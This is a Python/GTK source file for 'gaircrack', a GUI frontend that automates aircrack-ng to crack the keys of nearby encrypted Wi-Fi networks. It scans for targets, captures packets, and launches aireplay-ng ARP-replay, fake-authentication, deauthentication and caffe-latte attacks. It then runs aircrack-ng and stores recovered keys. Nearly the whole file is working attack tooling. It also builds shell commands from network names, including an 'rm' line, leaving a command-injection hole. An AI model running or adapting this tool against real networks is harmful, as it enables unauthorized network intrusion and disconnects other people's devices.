#!/usr/bin/env python
#
# gaircrack - your friendly aircrack frontend
#
# a python/gtk gui frontend for aircrack
# coded mostly by others, copied & pasted by Elia Yehuda
# released under the GPLv2
#
# TODO: (just ideas, others might implement them)
#
# + fix the maxlines at CommandTextView (should be automatic)
# + fix the 'WPA' string parser in enctype_pattern
# + fix the expanders to maximized space when other expanders are closed
# + fix the expanders' label not to resize the window if width is too long
# + fix the 'key' column not to resize the window if width is too long
# + fix the 'deauth' attack output
# + add clients mac (from parsed airmon output)
# + attack strings should be editable (to allow more advanced usage)
# + add WPA support via mdk3
# + add a 'searching for key' dialog/output-parser instead of xterm
# + implement some error log instead of dumping to stdout (a textview at the
#	bottom of the page with resizable pane)
# + add connect button to allow connection of a cracked/OPN spots
# + display OPN spots but don't enable the attack&crack buttons
# + auto-pilot mode - continously loops over all targets (15 minutes each)
#

app_name="gaircrack"
app_version="0.0.2"

import pygtk
pygtk.require('2.0')
import gtk
import os
import sys
import subprocess
import re
import gobject
import ConfigParser
import glob
import pango

attacks = [	( "arpreplay", "aireplay-ng --arpreplay -b -h" ) ,
		( "fakeauth", "aireplay-ng --fakeauth 2 -a -h -o 1 -q 1") ,
		( "deauth", "aireplay-ng --deauth 255 -a -h" ) , # -c <client mac>
		( "caffe-latte", "aireplay-ng --caffe-latte -b -h" ) # -c <client mac>
]

class TargetsTree(gtk.TreeView):
	global config
	def __init__(self):
		super(TargetsTree,self).__init__()
		#								 essid chnl qlty encr mac  #ivs key color
		self.store = gtk.ListStore(str, str, float, str, str, str, str,str)
		self.set_model (self.store)
		# create the columns
		rendererText = gtk.CellRendererText()
		rendererProgress = gtk.CellRendererProgress()
		rendererProgress.set_property("ypad",1)
		rendererProgress.set_property("xpad",6)
		rendererProgress.set_property("text","")
		rendererProgress.set_property("text-xalign",1)
		col_id = 0
		for col in ["ESSID", "Channel", "Quality", "Encryption", "MAC", "#IVs", "key"]:
			if col == "Quality":
				column = gtk.TreeViewColumn(col, rendererProgress, value=col_id)
			else:
				column = gtk.TreeViewColumn(col, rendererText, text=col_id, foreground=7)
			column.set_sort_column_id(col_id)
			column.set_expand(True)
			self.append_column(column)
			col_id+=1
		# shamelessly ripped from wifi-radar
		self.essid_pattern			  = re.compile( "ESSID\s*(:|=)\s*\"([^\"]+)\"", re.I | re.M  | re.S )
		self.bssid_pattern			  = re.compile( "Address\s*(:|=)\s*([a-zA-Z0-9:]+)", re.I | re.M  | re.S )
		self.channel_pattern			= re.compile( "Channel\s*(:|=)*\s*(\d+)", re.I | re.M  | re.S )
		self.enckey_pattern			 = re.compile( "Encryption key\s*(:|=)\s*(on|off)", re.I | re.M  | re.S )
		self.enctype_pattern			= re.compile( "IE\s*(:|=)\s*(WPA*\s*)", re.I | re.M  | re.S )
		self.quality_pattern			= re.compile( "Quality\s*(:|=)\s*([0-9]+)/\s*([0-9]+)", re.I | re.M  | re.S )

		self.do_refresh = True
		self.selected_iter = None

	def refresh(self):
		if self.do_refresh:
			command = ["iwlist", config.scan_interface,"scan"]
		else:
			command = ["sleep", "1"]
		self.proc = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
		gobject.io_add_watch(self.proc.stdout, gobject.IO_IN | gobject.IO_HUP, self.write_to_buffer)

	def enable_refresh(self, do_refresh):
		self.do_refresh = do_refresh
		#self.proc.kill()
		(model, self.selected_iter) = self.get_selection().get_selected()
		
	def stop(self):
		self.do_refresh = False
		self.proc.kill()

	def read_key(self, essid):
		key = ""
		filename = "data/" + essid + ".key"
		if os.path.exists(filename):
			key = open(filename).readline()
		return key

	def read_ivs(self, essid):
		iv = 0
		try:
			for filename in glob.glob("data/" + essid + "-*.csv"):
				temp = open(filename, "r")
				#Parse the file for the number of IVs captured
				for line in temp:
					if not line.strip() == "":
						if not "BSSID" in line:
							token = line.split(',')
							if len(token) > 7:
								iv += int(token[10].strip())
				temp.close()
		except ValueError, e:
			print e
		return iv

	def write_to_buffer(self, fd, condition):
		selected_essid = ""
		selected_index = -1
		if not self.do_refresh:
			treeselection = self.get_selection()
			(model, iter) = treeselection.get_selected()
			if self.selected_iter != None:
				selected_essid = model.get_value(self.selected_iter, 0)
				ivs = self.read_ivs(selected_essid)
				model.set_value(self.selected_iter, 5, ivs)
				if iter != None:
					self.set_cursor( model.get_path(iter) )
				else:
					self.set_cursor( model.get_path(self.selected_iter) )
			self.refresh()
			return False

		try:
			Output = self.proc.communicate()[0]
			# we ignore faulty outputs
			if self.proc.returncode !=0 :
				self.refresh()
				return False
				
			targets = Output.split(' - ')
			
			#clear all targets from list
			treeselection = self.get_selection()
			(model, iter) = treeselection.get_selected()
			if iter != None:
				selected_essid = model.get_value(iter, 0)
			self.store.clear()
			
			for target in targets:
				m = self.essid_pattern.search( target )
				if m:
					# we found an essid
					essid = m.groups()[1]
					encryption = False
					m = self.enckey_pattern.search( target )					 # get encryption key from scan
					if m: encryption = ( m.groups()[1] == 'on' )
					if not encryption:
						continue
					m = self.enctype_pattern.search( target )					 # get encryption type from scan
					if m: enc_type = m.groups()[1]
					else: enc_type = "WEP"
					
					m = self.bssid_pattern.search( target )					  # get BSSID from scan
					if m: bssid = m.groups()[1]
					m = self.channel_pattern.search( target )					# get channel from scan
					if m: channel = m.groups()[1]
					m = self.quality_pattern.search( target )					# get quality from scan
					max_quality = 100
					if m:
						quality = m.groups()[1]
						if len(m.groups()) > 2: max_quality = int(m.groups()[2])

					# the correct way, but looks strange
					index = self.store.append([essid, channel, float(quality)/max_quality*100, enc_type, bssid, self.read_ivs(essid), self.read_key(essid), "red"])
					#index = self.store.append([essid, channel, float(quality), enc_type, bssid, self.read_ivs(essid), "", "red"])
					if selected_essid == essid:
						selected_index = self.store.get_path(index)
					if int(quality) > 25:
						self.store[index][7] = "green"
					elif int(quality) > 15:
						self.store[index][7] = "orange"
								
			# now we try to set selected row back again
			if iter != None and selected_index != -1:
				self.set_cursor(selected_index)
			else:
				self.set_cursor(0)
				
		except ValueError, e:
			print e
		self.refresh()
		return False


class CommandTextView(gtk.Expander):
	global config
	def __init__(self,title, command, maxLines, btn):
		super(CommandTextView,self).__init__()
		self.title = title
		self.command = command
		self.maxlines = maxLines
		self.proc = None
		
		self.set_label_widget(gtk.Label('<b><span>' + self.title + ': ' + self.command + '</span></b>'))
		self.get_label_widget().set_use_markup(True)
		#self.get_label_widget().set_ellipsize( pango.ELLIPSIZE_END)
		self.set_expanded(True)
		self.tv = gtk.TextView()
		self.activate_btn = btn
		self.activate_btn.connect("clicked", self.button_pressed)

		sw = gtk.ScrolledWindow()
		sw.set_shadow_type(gtk.SHADOW_ETCHED_IN)
		sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
		sw.set_size_request(0,0)
		
		sw.add(self.tv)
		self.add(sw)
		self.color = self.get_style().text[0]


	def button_pressed( self, widget):
		if widget.get_active():
			self.run()
		else:
			self.stop()

	def run(self):
		self.get_label_widget().set_markup('<b><span>' + self.title + ': ' + self.command + '</span></b>')
		self.modify_text(gtk.STATE_NORMAL, gtk.gdk.color_parse("green"))
		self.auto_resume = config.auto_resume
		self.tv.get_buffer().set_text("")
		token = self.command.split(" ")
		self.proc = subprocess.Popen(token,shell=False,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
		gobject.io_add_watch(self.proc.stdout, gobject.IO_IN | gobject.IO_HUP, self.write_to_buffer)
		#if self.proc.returncode !=0:
		#	self.get_buffer().insert_at_cursor(self.proc.communicate()[0])
		print "[ ] monitoring command: " + self.command

	def stop(self):
		self.auto_resume = False
		self.proc.kill()
		self.tv.get_buffer().insert_at_cursor(self.proc.communicate()[0])
		self.tv.get_buffer().insert_at_cursor("\nFinished!")
		print "[ ] finished command: " + self.command
		self.get_label_widget().set_markup('<b><span>' + self.title + ': ' + self.command + '</span></b>')
		self.modify_text(gtk.STATE_NORMAL, self.color)
		#self.proc.terminate()

	def write_to_buffer(self, fd, condition):
		if condition == gobject.IO_IN:
			try:
				char = fd.read(1)
				buf = self.tv.get_buffer()
				buf.insert_at_cursor(char)
				if char in ['\r','\n']:
					#rect = self.get_visible_rect()
					#low_iter = self.get_line_at_y(rect.y)[0]
					#high_iter = self.get_line_at_y(rect.y + rect.height)[0]
					#lines_visible = high_iter.get_line() - low_iter.get_line()
					#if buf.get_line_count()  > lines_visible:
					if buf.get_line_count()  > self.maxlines:
						buf.delete(buf.get_iter_at_line(0), buf.get_iter_at_line(1))
			except:
				return False
			return True
		else:
			if self.auto_resume:
				#self.stop()
				#print "[ ] resuming command: " + self.command
				self.run()
			else:
				self.activate_btn.set_active(False)
			return False

class TargetPage(gtk.Table):
	global config
	def __init__(self, model, iter):
		super(TargetPage,self).__init__()
		self.connect("destroy", self.destroy_event)
		self.resize(4,4)

		self.essid = model.get_value(iter, 0)
		self.channel = model.get_value(iter, 1)
		encryption = model.get_value(iter, 3)
		self.bssid = model.get_value(iter, 4)
		self.monitor_mac = config.get_interface_mac(config.monitor_interface)

		vBox = gtk.VBox(False, 2)
		label = gtk.Label("<b>Attacks:</b>")
		label.set_alignment(0, 0.5)
		label.set_use_markup(True)
		vBox.pack_start(label, False)

		hBox = gtk.HBox(False, 2)

		vBox.pack_start(hBox)

		self.attach(vBox, 0, 4, 0, 1, gtk.EXPAND|gtk.FILL, gtk.SHRINK, 6, 6)

		vBox = gtk.VBox(False, 2)
		self.attach(vBox, 0, 4, 1, 2, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL, 6, 6)

		self.attack_btn_list = []
		for attack in attacks:
			btn = gtk.ToggleButton(attack[0]);
			hBox.pack_start(btn, True)
			if attack[0] in config.autostart_attacks:
				self.attack_btn_list.append(btn)
				
			command = attack[1]
			command = command.replace(" -b", " -b " + self.bssid)
			command = command.replace(" -a", " -a " + self.bssid)
			command = command.replace(" -h", " -h " + self.monitor_mac)
			command = command.replace(" -e", " -e \"" + self.essid + "\"")
			command = command.replace(" -c", " -c " + self.channel)
			command += " " + config.monitor_interface
			
			ctv = CommandTextView(attack[0], command, 2, btn)
			vBox.pack_start(ctv, True, True)
			
		label = gtk.Label('<b>Total IVs collected:</b>')
		label.set_use_markup(True)
		label.set_alignment(1, 0.5)
		self.attach(label, 0,2, 2, 3, gtk.EXPAND|gtk.FILL, gtk.SHRINK, 6, 6)
		self.ivs = gtk.Label("<b>0</b>")
		self.ivs.set_use_markup(True)
		self.ivs.set_alignment(0, 0.5)
		self.attach(self.ivs, 2, 4, 2, 3, gtk.EXPAND|gtk.FILL, gtk.SHRINK, 6, 6)

		self.close_button = gtk.Button(stock='gtk-close')
		hBox = gtk.HBox(False, 2)
		hBox.pack_start(self.close_button, True)
		self.attach(hBox, 0, 4, 3, 4, gtk.EXPAND|gtk.FILL, gtk.SHRINK, 6, 6)
		
		self.show_all()

		#Execute("ifconfig " + config.monitor_interface + " down")
		#Execute("iwconfig " + config.monitor_interface + " channel " + self.channel)
		self.command = ["airodump-ng","-w","data/" + self.essid, "--bssid", self.bssid,"-c", self.channel, config.monitor_interface]
		self.proc = subprocess.Popen(self.command, shell=False, stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
		gobject.io_add_watch(self.proc.stdout, gobject.IO_IN | gobject.IO_HUP, self.write_to_buffer)
		print "[ ] capturing packets: " + " ".join(self.command)

		for btn in self.attack_btn_list:
			btn.set_active(True)

	def update_ivs_label(self, ivs):
		n = int(ivs)
		if n < 5000:
			color = "red"
		elif n < 10000:
			color = "orange"
		else:
			color = "green"
		self.ivs.set_markup('<b><span foreground="' + color + '">' + ivs + '</span></b>')

	def destroy_event(self, widget):
		print "[ ] stopping capturing packets"
		self.stop()
		for btn in self.attack_btn_list:
			btn.set_active(False)
			
	def stop(self):
		self.proc.kill()
		self.proc.communicate()
		
	def write_to_buffer(self, fd, condition):
		if condition == gobject.IO_IN:
			try:
				char = fd.read(1)
			except:
				return False
			return True
		else:
			return False

class gaircrack(gtk.Window):
	global config
	global app_name
	global app_version
	def __init__(self):
		if os.getuid() != 0:
			print "Run as root"
			sys.exit()
		super(gaircrack, self).__init__()

		icon = self.render_icon(gtk.STOCK_MEDIA_RECORD, gtk.ICON_SIZE_DIALOG)
		gtk.window_set_default_icon(icon)
		
		self.set_default_size(600, 400)
		self.set_position(gtk.WIN_POS_CENTER)

		self.connect("destroy", self.destroy_event)
		self.set_title(app_name + " " +  app_version)

		self.current_target = None

		self.notebook = gtk.Notebook()
		self.notebook.set_tab_pos(gtk.POS_TOP)

		table = gtk.Table(5,4,False) #rows,cols,all-same-size

		sw = gtk.ScrolledWindow()
		sw.set_shadow_type(gtk.SHADOW_ETCHED_IN)
		sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)

		self.TargetsList = TargetsTree()
		self.TargetsList.connect("cursor-changed", self.list_selection_changed)
		self.TargetsList.connect("row-activated", self.list_selection_activated)
		sw.add(self.TargetsList)

		table.attach(sw, 0, 4, 1, 3, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL, 6, 6)
		
		self.attack_button = gtk.Button(stock="Attack")
		self.attack_button.set_property("image",  gtk.image_new_from_stock(gtk.STOCK_MEDIA_RECORD,  gtk.ICON_SIZE_BUTTON))
		self.attack_button.set_sensitive(False)
		self.attack_button.connect("clicked", self.attack_button_pressed)

		prefences = gtk.Button(stock="gtk-preferences")
		prefences.connect("clicked", self.show_prefences)

		self.crack_button = gtk.Button("Find the key")
		self.crack_button.set_property("image",  gtk.image_new_from_stock(gtk.STOCK_FIND,  gtk.ICON_SIZE_BUTTON))
		self.crack_button.set_sensitive(False)
		self.crack_button.connect("clicked", self.crack_button_pressed)

		hBox = gtk.HBox(True, 2)
		hBox.pack_start(prefences, True)
		hBox.pack_start(self.crack_button, True)
		hBox.pack_end(self.attack_button, True)
		table.attach(hBox, 0, 4, 4, 5, gtk.EXPAND|gtk.FILL, gtk.SHRINK, 6, 6)
		
		self.notebook.append_page(table, gtk.Label("Networks"))

		self.add(self.notebook)
		self.show_all()
		self.TargetsList.refresh()
	
	def AddNewTargetTab(self, model, iter):
		essid = model.get_value(iter, 0)
		self.current_target = TargetPage( model, iter)
		self.current_target.close_button.connect("clicked", self.close_tab)
		index = self.notebook.append_page(self.current_target, gtk.Label(essid))
		return index

	def close_tab(self, widget):
		self.notebook.remove_page( self.notebook.get_current_page() )
		self.current_target.destroy()
		self.current_target = None
		self.TargetsList.enable_refresh( True )

	def crack_button_pressed(self, widget):
		treeselection = self.TargetsList.get_selection()
		(model, iter) = treeselection.get_selected()
		if iter == None: return

		essid = model.get_value(iter, 0)
		bssid = model.get_value(iter, 4)
		key_filename = "data/" + essid + ".key"
		key_file_existed_before = os.path.exists(key_filename)
		Execute("xterm -hold -title \"Searching key for " + essid + "\" -geometry 84x6+0+0 -bg \"#000000\" -fg \"#D7C5FF\" -e aircrack-ng -b " + bssid + " data/" + essid + "-*.cap -l data/" + essid + ".key")
		#subprocess.Popen("xterm -hold -title \"Searching key for " + essid +
			#"\" -geometry 84x6+0+0 -bg \"#000000\" -fg \"#D7C5FF\" -e aircrack-ng -b " +
			#bssid + " data/" + essid + "-*.cap -l data/" + essid + ".key" ,
			#shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
		# clean only if key didnt existed before
		if config.clean_if_key_found and not key_file_existed_before:
			if os.path.exists(key_filename):
				os.system("rm data/" + essid + "-* >/dev/null 2>&1")
			
	def show_prefences(self, data):
		prefs = preferences_dialog( self )
		response = prefs.run()
		prefs.destroy()

	def list_selection_activated( self, d1, d2, d3):
		self.attack_button_pressed(None)

	def list_selection_changed(self, widget):
		# this is being called every time the refresh command ends
		# which is about every 1-2 seconds
		treeselection = self.TargetsList.get_selection()
		(model, iter) = treeselection.get_selected()
		if iter != None:
			ivs = int(model.get_value(iter, 5))
			self.crack_button.set_sensitive(ivs > 0)
			if self.current_target == None:
				self.attack_button.set_sensitive(True)
			else:
				self.attack_button.set_sensitive(False)
				# update the ivs for the active target
				for m in model:
					if m[0] == self.current_target.essid:
						self.current_target.update_ivs_label(m[5])
						break
		else:
			self.crack_button.set_sensitive(False)
			self.attack_button.set_sensitive(False)

	def attack_button_pressed(self, widget):
		if self.current_target != None:
			return
		treeselection = self.TargetsList.get_selection()
		(model, iter) = treeselection.get_selected()
		if iter != None :
			self.TargetsList.enable_refresh( False )
			index = -1
			essid = model.get_value(iter, 0)
			for n in range(self.notebook.get_n_pages()):
				essid2 = self.notebook.get_tab_label_text( self.notebook.get_nth_page(n))
				if essid == essid2:
					index = n
					break
			if index == -1:
				index = self.AddNewTargetTab(model, iter)
				self.notebook.show_all()
			self.notebook.set_current_page(index)

	def destroy_event(self, widget):
		print "[ ] quitting main window"
		gtk.main_quit()

class preferences_dialog:
	global config
	def __init__( self, parent):
		self.parent = parent
		self.dialog = gtk.Dialog(app_name + ' preferences', self.parent, gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT, ( gtk.STOCK_CANCEL, gtk.RESPONSE_REJECT, gtk.STOCK_SAVE, gtk.RESPONSE_ACCEPT ) )
		self.dialog.set_resizable( True )
		self.dialog.set_transient_for( self.parent )
		#self.tooltips = gtk.Tooltips()
		table = gtk.Table(2,8,False) #rows,cols,all-same-size

		self.autostart_monitor = gtk.CheckButton("Autostart monitor mode")
		self.autostart_monitor.set_active( bool(config.autostart_monitor) )
		table.attach(self.autostart_monitor, 0, 2, 0,1, gtk.FILL, gtk.SHRINK, 6, 6)

		label = gtk.Label("Scanning device")
		label.set_alignment(0, 0.5)
		table.attach(label, 0, 1, 1, 2, gtk.SHRINK, gtk.SHRINK, 6, 6)
		store = gtk.ListStore(str)
		config.copy_scanning_devices(store)
		self.ScanInterfaceBox = gtk.ComboBoxEntry(store)

		index = 0
		for interface in config.scan_interfaces:
			if interface == config.scan_interface:
				break
			index += 1
		self.ScanInterfaceBox.set_active(index)

		table.attach(self.ScanInterfaceBox, 1,2,1,2, gtk.SHRINK, gtk.SHRINK, 6, 6)

		label = gtk.Label("Monitoring device")
		label.set_alignment(0, 0.5)
		table.attach(label, 0, 1, 2,3, gtk.SHRINK, gtk.SHRINK, 6, 6)
		store = gtk.ListStore(str)
		config.copy_monitoring_devices(store)
		self.MonitorInterfaceBox = gtk.ComboBoxEntry(store)

		index = 0
		for interface in config.monitor_interfaces:
			if interface == config.monitor_interface:
				break
			index += 1
		self.MonitorInterfaceBox.set_active(index)

		table.attach(self.MonitorInterfaceBox, 1,2,2,3, gtk.SHRINK, gtk.SHRINK, 6, 6)

		label = gtk.Label("Autostart Attacks:")
		label.set_alignment(0, 0.5)
		table.attach(label, 0, 1, 3,4, gtk.SHRINK, gtk.SHRINK, 6, 6)

		self.attack_buttons = []
		n = 3
		for attack in attacks:
			button = gtk.ToggleButton(attack[0])
			if attack[0] in config.autostart_attacks:
				button.set_active( True )
			table.attach(button, 1, 2, n, n+1, gtk.FILL, gtk.SHRINK, 6, 6)
			self.attack_buttons.append( button )
			n += 1

		self.auto_resume = gtk.CheckButton("Autoresume attacks on failure")
		self.auto_resume.set_active( bool(config.auto_resume) )
		table.attach(self.auto_resume, 0, 2, n, n+1, gtk.FILL, gtk.SHRINK, 6, 6)
		n += 1
		self.clean_if_key_found = gtk.CheckButton("Clean captured data if key is found")
		self.clean_if_key_found.set_active( bool(config.clean_if_key_found) )
		table.attach(self.clean_if_key_found, 0, 2, n, n+1, gtk.FILL, gtk.SHRINK, 6, 6)

		self.dialog.vbox.pack_start(table, False)

	def run(self):
		self.dialog.show_all()
		result = self.dialog.run()
		if result == int(gtk.RESPONSE_ACCEPT):
			config.autostart_monitor = self.autostart_monitor.get_active()
			config.clean_if_key_found = self.clean_if_key_found.get_active()
			config.auto_resume = self.auto_resume.get_active()
			config.scan_interface = self.ScanInterfaceBox.get_active_text()
			config.monitor_interface = self.MonitorInterfaceBox.get_active_text()
			config.autostart_attacks = []
			for button in self.attack_buttons:
				if button.get_active():
					config.autostart_attacks.append(button.get_label())
		return result

	def destroy(self):
		self.dialog.destroy()
		del self.dialog

class Config(ConfigParser.RawConfigParser):
	def __init__(self,config_file):
		self.config_file = config_file
		#
		self.scan_interfaces=[]
		self.scan_interface=""
		self.monitor_interfaces=[]
		self.monitor_interface=""
		self.autostart_monitor = True
		self.auto_resume = True
		self.clean_if_key_found = True
		self.autostart_attacks = []
		for attack in attacks:
			if attack[0] != "deauth":
				self.autostart_attacks.append(attack[0])
		#
		ConfigParser.RawConfigParser.__init__(self)
		self.file_exists = bool(self.read( self.config_file))

		if self.has_option('main', 'autostart_monitor'):
			self.autostart_monitor = self.get('main', 'autostart_monitor')
		if self.has_option('main', 'autostart_attacks'):
			self.autostart_attacks = self.get('main', 'autostart_attacks')
		if self.has_option('main', 'scan_interface'):
			self.scan_interface = self.get('main', 'scan_interface')
		if self.has_option('main', 'monitor_interface'):
			self.monitor_interface = self.get('main', 'monitor_interface')
		if self.has_option('main', 'auto_resume'):
			self.auto_resume = self.get('main', 'auto_resume')
		if self.has_option('main', 'clean_if_key_found'):
			self.clean_if_key_found = self.get('main', 'clean_if_key_found')
			
	def save(self):
		if not self.has_section('main'):
			self.add_section('main')
		self.set('main', 'scan_interface', self.scan_interface)
		self.set('main', 'monitor_interface', self.monitor_interface)
		self.set('main', 'autostart_monitor', self.autostart_monitor)
		self.set('main', 'autostart_attacks', self.autostart_attacks)
		self.set('main', 'auto_resume', self.auto_resume)
		self.set('main', 'clean_if_key_found', self.clean_if_key_found)
		with open(self.config_file, 'wb') as configfile:
			self.write(configfile)
			
	def set_scan_interface(self):
		self.scan_interfaces = self.GetScanningDevices()
		if self.scan_interface == "":
			if len(self.scan_interfaces) > 0:
				self.scan_interface = self.scan_interfaces[0]
		elif self.scan_interface not in self.scan_interfaces:
			self.scan_interfaces.insert(0, self.scan_interface)

	def set_monitor_interface(self):
		self.monitor_interfaces = self.GetMonitoringDevices()
		if self.monitor_interface == "":
			if len(self.monitor_interfaces) > 0:
				self.monitor_interface = self.monitor_interfaces[0]
		elif self.monitor_interface not in self.monitor_interfaces:
			self.monitor_interfaces.insert(0, self.monitor_interface)

	def copy_scanning_devices(self, store):
		for device in self.scan_interfaces:
			store.append([device])

	def copy_monitoring_devices(self, store):
		for device in self.monitor_interfaces:
			store.append([device])
			
	def GetScanningDevices(self):
		#print "getting available network interfaces for scanning"
		devices = []
		for line in Execute("iwconfig 2>/dev/null"):
			if "IEEE 802.11" in line:
				token = line.split(" ")
				devices.append(token[0])
		return devices

	def GetMonitoringDevices(self):
		#print "getting available network interfaces for monitoring"
		devices = []
		for line in Execute("iwconfig 2>/dev/null"):
			if "Mode:Monitor" in line:
				token = line.split(" ")
				devices.append(token[0])
		return devices
		
	#Get the mac address of an interface - copied from pyaircrackgui
	def get_interface_mac(self, interface):
		for line in Execute("ifconfig " + interface):
			if "HWaddr" in line:
				token = line.split("HWaddr");
				if ":" in token[1]:
					return token[1].strip()
				elif "-" in token[1]:
					#If an interface is already in monitor mode the mac will be
					#shown differently, parse it accordingly and return it as
					#a normal mac
					parts = token[1].strip().split("-")
					return ":".join(parts[0:6])

def Execute(command):
	Program = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
	Output = Program.communicate()[0]
	return Output.split('\n')


###############################################################################


if not os.path.exists("data"):
	os.mkdir("data")

config = Config("gaircrack.conf")
if config.set_scan_interface() == False:
	print "[*] Error finding a valid scanning interface. aborting..."
	sys.exit()

if config.autostart_monitor:
	print "[ ] starting monitor mode for " + config.scan_interface
	Execute("airmon-ng start " + config.scan_interface)

if config.set_monitor_interface() == False:
	print "[*] Error finding a valid monitoring interface. aborting..."
	sys.exit()

if not config.file_exists:
	prefs = preferences_dialog( None )
	response = prefs.run()
	prefs.destroy()

gaircrack()
gtk.main()

config.save()
print "[ ] stopping monitor mode for " + config.monitor_interface
Execute("airmon-ng stop " + config.monitor_interface)

print "[ ] done" 
